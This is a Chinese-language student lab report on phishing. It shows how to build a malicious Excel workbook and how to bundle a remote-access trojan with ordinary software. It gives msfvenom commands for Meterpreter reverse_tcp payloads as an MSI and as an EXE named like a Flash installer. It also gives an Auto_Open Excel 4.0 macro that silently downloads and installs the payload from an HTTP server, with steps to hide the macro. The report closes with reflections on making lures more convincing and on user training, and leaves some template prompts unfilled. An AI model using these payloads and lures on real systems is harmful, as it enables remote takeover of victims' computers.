网络渗透测试技术

实验内容

1.制作恶意的excel文件

2.将正常的软件和恶意木马进行捆绑打包

excel宏

msf生成恶意的msi文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhsot=192.168.85.129 lport=8989 -f msi -o 1.msi

然后msf建立监听

然后python在具有恶意的msi的文件夹下开启http服务

然后开始制作excel

选择插入宏表

第一行输入

=EXEC("msiexec /q /i http://192.168.100.132/diaoyexl.msi")

#记得把上面的ip改成你kali  http服务的ip

表示调用服务器上的msi

第二行输入

=HALT()

标识Excel 4.0宏结束

在A1 左上角改成Auto_Open让exl打开时候自动运行宏，然后回车

然后隐藏宏

另存为启用宏的工作表

保存成功后上传到肉鸡 win7虚拟机

运行后启用宏

成功上线

常规软件捆绑远控木马进行钓鱼

制作msf木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali的ip LPORT=监听端口 -f exe -o flash.exe

启动msf进行监听

然后把做好的恶意flash放到win7虚拟机中运行

点击安装后就会上线了

成功执行命令

五、实验总结

这部分要详细写。

实验原理是社会工程学钓鱼是通过欺骗用户,使其点击恶意链接、下载恶意附件或泄露个人信息等手段,达到攻击者目的的一种手段。其中,制作有效的钓鱼样本是实现攻击的关键。实验中,我们将学习并应用社会工程学钓鱼的技术原理,制作出具有诱导性的钓鱼样本。

通过本次实验，掌握了如何使用监听；理解了木马如何连接；掌握了用kali制作木马。

在实验过程中，碰到了几次错误，又是如何解决的。请罗列。

需要进一步提高钓鱼样本的制作技能，使其更加真实和具有诱导性。此外，对目标用户的心理特点和行为习惯的了解也显得不够深入，因此需要加强针对性的研究和分析。只有深入了解目标用户的行为特点和心理状态，我们才能更好地制作钓鱼样本，并增加其诱惑力，从而提高钓鱼攻击的成功率。因此，在进行钓鱼攻击前，我们需要投入更多的精力和时间来研究目标用户的行为习惯和心理特点，以确保钓鱼攻击的有效性和成功率

社会工程学钓鱼是一种极具威胁性的攻击手段，对用户的安全构成严重威胁。制作有效的钓鱼样本是实现攻击的关键，需要结合目标用户的特点进行针对性设计。只有深入了解目标用户的行为习惯、偏好和心理特点，我们才能制作出更具诱惑力和迷惑性的钓鱼样本，从而提高攻击的成功率。此外，提高用户的安全意识和警惕性也是防范钓鱼攻击的重要措施。通过加强用户的安全培训和教育，提高他们对钓鱼攻击的识别能力和防范意识，可以有效降低钓鱼攻击的成功率，从而保护用户的信息安全。因此，综合运用针对性设计的防御措施和用户教育，才能更好地防范社会工程学钓鱼攻击。